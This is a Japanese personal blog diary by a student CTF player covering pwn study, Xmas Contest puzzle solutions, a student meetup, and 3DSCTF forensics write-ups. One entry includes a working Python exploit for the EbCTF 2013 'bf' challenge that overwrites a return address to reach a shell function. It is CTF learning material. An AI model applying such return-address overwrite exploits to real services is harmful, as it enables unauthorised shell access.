更新日時で差をつけろ

むしろ差をつけられている

12/27

sei0o-oooooooooo AAAAE-A-A-I-A-U- JO-oooooooooooo AAE-O-A-A-U-U-A- E-eee-ee-eee AAAAE-A-E-I-E-A- JO-ooo-oo-oo-oo EEEEO-A-AAA-AAAA

Brain Powerを強化していきたい季節。
ただ最近思うのは、脳のスタミナじゃなくて単純にまず体力が足りていないのではということ。運動したくなーい…

FunnyBusinessをwrite-up見て解いた。どうも.bssを使うという発想に行き着かない。明日まとめる。
これが出題されたGhost in Shellcode CTFの他の問題も楽しそうなのがあったので余裕があれば見てみたい。
家のルータから部屋の距離が離れているので無線LANにまともに接続できない。どうにかしたいけど階が違うので有線で引っ張ってくるのはだるそう。

exploit書く時に時間かかりすぎて疲れたので夜は「はじめての言語ゲーム」という本を読んでいた。 面白い。普段本は技術書しか読まないので、何読んでも面白いって思える。ある意味で幸せである。

「いいねした人に一言」というようなツイートにいいねをするといろいろ返ってきて面白い。まあそりゃそうか。
明日は年内最後のCTF, 34C3。なんか評判が良いらしいので期待している。解けるかな??

12/26: 眠い

資料を見ながら実際にDEFCONのheapを解いた。理解するのは時間がかかるけど、やってることはヘッダのsizeをごまかして書き換えたい場所から8byte引いてるだけなんだよな〜 もちろん他の問題だとそうは行かないだろうけど。

pwn問題集のbabyからFunnyBusinessという問題を選んで取り組んでいるのだが、アセンブリがどうも読みづらい。
leaveとかどこにも書いてないし。仕方ないので動的解析の助けを借りてrecvの辺りから広げていって読むことにした。夕方から結構眠くてアセンブリの内容も頭に入ってこなかったゆえ、radare2のチュートリアルを進めた。今までの左にgdb、右にobjdumpの逆アセンブル結果をvimでメモ書きして、putsの文字列なんかをいちいちx/sで表示していたのがアホらしくなった。
A journey into Radare 2 – Part 1: Simple crackme – Megabeets

日本語文献が少ないそうなので何か書こうかなぁ。そのうち自然とwrite-upに出現させてそうだ。

民法はおもしろいという本を読み切った。最後の方はあんまりだったけど、中盤まではためになる面白い内容が多かった。「民法への招待」も読んでみたい。学校の図書館はさすがに買ってくれなさそうだ。

英字配列にしてからというものの、記号や数字を打つスピードがさらに遅くなっていて支障を感じていたのでタイピングをやりなおしている。今まではMキーやNキーを親指で押したり、中指でほとんどのキーをカバーしたりしていたのが、薬指や小指を活用するようにした。すると、キーボードの打鍵速度は大して変わらないのに音ゲーの指押しが上手になった。oh...

Xmas Contest 2017 に参加した

AとGの2完。プログラムを書かない問題ばかり解いた。
SATソルバの問題を見てPrologを勉強したくなった。あとで解説見て実装したい。
肝心の競プロらしい問題はサッパリだった。

A: Compressor

2WA出した。
2つのwavファイルからコンプレッサーにかけた後のものを選ぶ問題。
コンプレッサーについてまずは調べる。
http://taira-komori.jpn.org/06compressor.html このページ曰く、

コンプレス(compress)は圧縮する・押し付ける・縮める、という意味です。このエフェクトは波形上の大きな音の部分を下げ、反対 に小さな音の部分を上げて、全体を出来るだけ同じ大きさの音にします。

つまり2つを比べて音圧が狭い範囲に収まっているほうが答え。
Sonic Visualizerを用いてサンプルファイルの波形を見てみる。青い方がコンプレッサーをかけた後、緑が前。たしかにかける前はギザギザしている。
Gyazo

問題のファイルではもう少しわかりづらくなっているが、最大・最小値(赤丸を付けた部分)が0に近くなっているほうがコンプレス後。この画像(11個目のwav)では青い方。
Gyazo

AABAAAABABABBABが答え。

G: Maze

A~Zのめんどくさそうな迷路が与えられ、ゴールにたどり着けるものを選ぶ。
手で解くのはつらいので迷路ソルバを探していたところ、GIMPなどの画像編集ソフトで迷路を解く記事を見つけた。
http://www.instructables.com/id/Solving-maze-using-Photoshop-Gimp-Paint-or-any-oth/
これの手順を踏むと以下のようになる。線が迷路の周りをぐるっと1周してしまっているのは解けない迷路、逆に中を通っているのが解ける迷路。

Gyazo

ACEFGHNPQSYZが答え。

12/24

クリスマスイブ。肉を食べました。

昨日から取り組んでいたbfを解けたので記事を書いた。そろそろヒープの勉強をしたくなったのでkatagaitai勉強会のスライドで紹介されていたmalloc動画を見ている。結構な分量なのでまだ見終わっていない。

せっかく帰省したことだし昼は図書館に行って本を借りた。Web系の技術書は陳腐化したものが少なくないが、それほど変化が速くないバイナリなどについての本が多く揃っているので便利。たまには志向を変えて新書なんかも借りた。冬休み中に読めるところまで読みたい。
図書館のほうでアンケートがあってので、自由欄に「策謀本を入れてください!」と書いてきた。

Xmas Contest 2017に出た。チームで出てもよかったのだが、それはそれで解ける問題がなくなってしまいそうなので一人で出た。2完。結局コードは1行も使わなかった(は?)。

EDCTF 2013 「bf」 を解いた

問題ファイル http://shell-storm.org/repo/CTF/EbCTF-2013-08/Pwnables/200/

5時間ぐらいかかってしまった・・・oh...
???「でも正解できればOKです!」
これまでは裏紙にスタックの絵を雑に書いていたが、罫線のあるノートに書くと見やすかった。次もそうしよう。
pwnable.twのcalcに似たものを感じる(似てるとは言ってない)。が、電卓ではなく独自言語でいろいろする感じ。
コードに出てくる演算子を整理している時に気づいた。Brainf*ckだ〜〜ファイル名の意味もわかった。

0x0 +
0x1 -
0x2 >
0x3 <
0x4 [
0x5 ]
0x6 ,
0x7 .

Brainf*ckでの値が入るバッファのアドレスをリークしてみたけど、コードは1回しか送れないので意味がなかった…

shellというピッタリな関数があるので、そこにリターンさせればよい。
Brainf*ck用のバッファは$ebp-0xc8から0x80だけmemsetされている。その下にはアドレスやポインタの値が入ったローカル変数が並び、リターンアドレスがある。
>のたびに4バイトポインタがずれるので、0xc8 / 4 + 1だけ繰り返すとリターンアドレスのある場所までポインタを動かせる。
そして、shell関数のある0x8048a6eに中身を変更するので、もともとの値である0x8048a9dの差分だけ-で中の値を操作する。

Exploit

短い〜

import socket, time, os, struct, telnetlib
 
def connect(ip, port):
    return socket.create_connection((ip, port))
 
def p(x):
    return struct.pack("<I", x)
 
def u(x):
    return struct.unpack("<I", x)[0]
 
def interact(s):
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()
 
s = connect('localhost', 62000)
 
### exploit ###
retaddr_val = 0x8048a9d
retaddr_val_target = 0x8048a6e # shell function
delta = retaddr_val - retaddr_val_target
 
payload  = '>' * (0xc8 / 4 + 1)
payload += '-' * delta
payload += '\n'
 
# leak buffer's address
# payload  = '>' * (0x20 + 1)
# payload += '.'
 
s.recv(1024)
s.send(payload)
 
interact(s)

CombKansaiに行った #CombKansai

日曜日に梅田で開かれた学生向けIT勉強会のCombKansaiに行ってきました。
自分の一応運営側だったので、参加者の案内などをしました。人が行き交うオフィスビルのフロアでCombKansaiを宣伝してきました。
一部のおばちゃんやサラリーマンの目が釘付けになっていたのできっと次回は人が増えますね。

詳細に関してはここを見てもらえればと思います。
CombKansaiの運営をやった話 - 好きとは言ったが得意とは言ってない。

個人的には大満足でした。いろんな人に会えてよかったです。
LTの分量が小さかったのと、いろいろ準備不足だった点は次回で改善します。都そばは回避しましょう。
あとはアレですね、LTするときの大阪弁。CombKansaiではいいんですが、CombNafの方に行くことがあれば気を付けないと。一時期埼玉に住んでいたのである程度標準語での会話も可能とはいえ。
また、事前のアンケートで参加者の興味をある程度知ることができればLTする人はやりやすいかなと思いました。「Ruby, ROP, 動的計画法, FFT, Juniper, Blockchain, TouchDesigner ... この中で知っている単語にチェックしてください」といった感じで。

私が一番惹かれたのは一番最後のLTでした。トラコン。ICTSCすごそう。
Ciscoルータが数千円で買えちゃうというのが大きな知見でした。年明けにルータ初心者向けの勉強会があるそうなので参加したいです。知識に見合う実践を補充する良い機会。

3DSCTFに参加した

CombKansaiを挟んでHarekazeから3DSCTFに参加しました。
ForensicとMiscを1問ずつ解きました。GIFと仲良くなった。
ページが凝っていたけど、点数配分が全部500(からのsolved数による減点)であんまり良くないと思った。

Microscope (Misc 487)

フレームを100000以上もつ単色のアニメーションGIFが渡される。微妙に色がことなる黄色と緑が交互に来ているようだ。
黄色や緑が連続する回数がモールス信号みたいになっているのかと思い、色が連続する回数を調べたがバラバラだった。
Microscope(顕微鏡)という名前なので、「ある画像を顕微鏡で見ていった部分部分をフレームにしているのでは?」と考えた。それなら1フレームずつ切り出して結合すればいいのだが、フレームを何枚横につなげるのかがわからない。横幅を1〜100000まで試すと時間がかかるので、黄色と緑を., Xに2値化して文字列にすることにした。こうすれば文字列を表示してエディタのウィンドウをリサイズすれば好きな位置で自動改行が試せる。実にアナログ。

GIFの仕様を見ながらこつこつ組んだ。

hex = File.binread('gif.gif').unpack("H*")[0]
 
splitted = hex.split "21f904" # header for each frame
header = splitted.shift # remove GIF Header
ans = ""
splitted.each do |fr| # for each frame
    lct = fr.index('32003200')
    if fr[lct+8] == '8' # using Local Color Table
        if fr[lct+10..lct+11].to_i(16) &lt; 128 # Red value &lt; 128 -&gt; green
            ans += "."
        else
            ans += "X" # yellow
        end
    else # not using local color table -&gt; yellow?
        ans += "X"
    end
end
 
puts ans

これで出力させて、端末のフォントサイズを小さくしいい感じにリサイズすると...?
Gyazo

読めなかったので、GIMPで修正。
Gyazo

これをスキャンするとFLAGが出てくる。
3DS{s0_y0u_kn0w_yur_g1fs}

What The Hex (Forensic 474)

よくわからないバイナリデータが渡される。バイナリエディタで見てみると、a98FIGという文字列が。ここをGIF89aに書き換えてみる。

こんな画像が見える。[]でくくられていることから分かるとおり、これはFLAGではなかった。
Gyazo

他に何かあるかと思い、Global Color Tableの後のnullで埋まった部分を消してみたりした(画像では余計な部分まで選択してしまっているが)。
Gyazo

するとこうなる。でもFLAGじゃない。ファイルを壊しただけだった。
Gyazo

うーんと思ってじっくり読んでみるとIHDRGNPという文字が。このファイルはJPEGとかPNGとかGIFをいっぱいくっつけてシグネチャの部分を書き換えたものだとわかる。また、テキストとして3DS[dddddd] という文字列が多数入っているのでその中に混じってないか探してみる。

~/c/3/whatthehex $ strings binary.bin | grep '3DS{'
3DS{n0_t3ss3r4ct_7h15_71m3}

FLAGが出た。

せっかくなのでsedの練習も兼ねてa98FIGとなったりGNPみたいにひっくり返っているシグネチャをもとにもどしてforemostに切り出させてみる(手抜き)。

$ sed -e 's/\(..\)/\1\ /g' -e 's/61\ 39\ 38\ 46\ 49\ 47\ /47\ 49\ 46\ 38\ 39\ 61\ /g' -e 's/47\ 4e\ 50\ /50\ 4e\ 47\ /g' -e 's/\ //g' binhex.txt &gt; changed-signature.txt
$ cat changed-signature.txt | tr -d '\n' | xxd -r -p &gt; changed-signature.bin
$ foremost changed-signature.bin 

こんな画像が大量に入ってた。
Gyazo
https://gyazo.com/b73cc54f8d9439605ed57a7ab94a3eac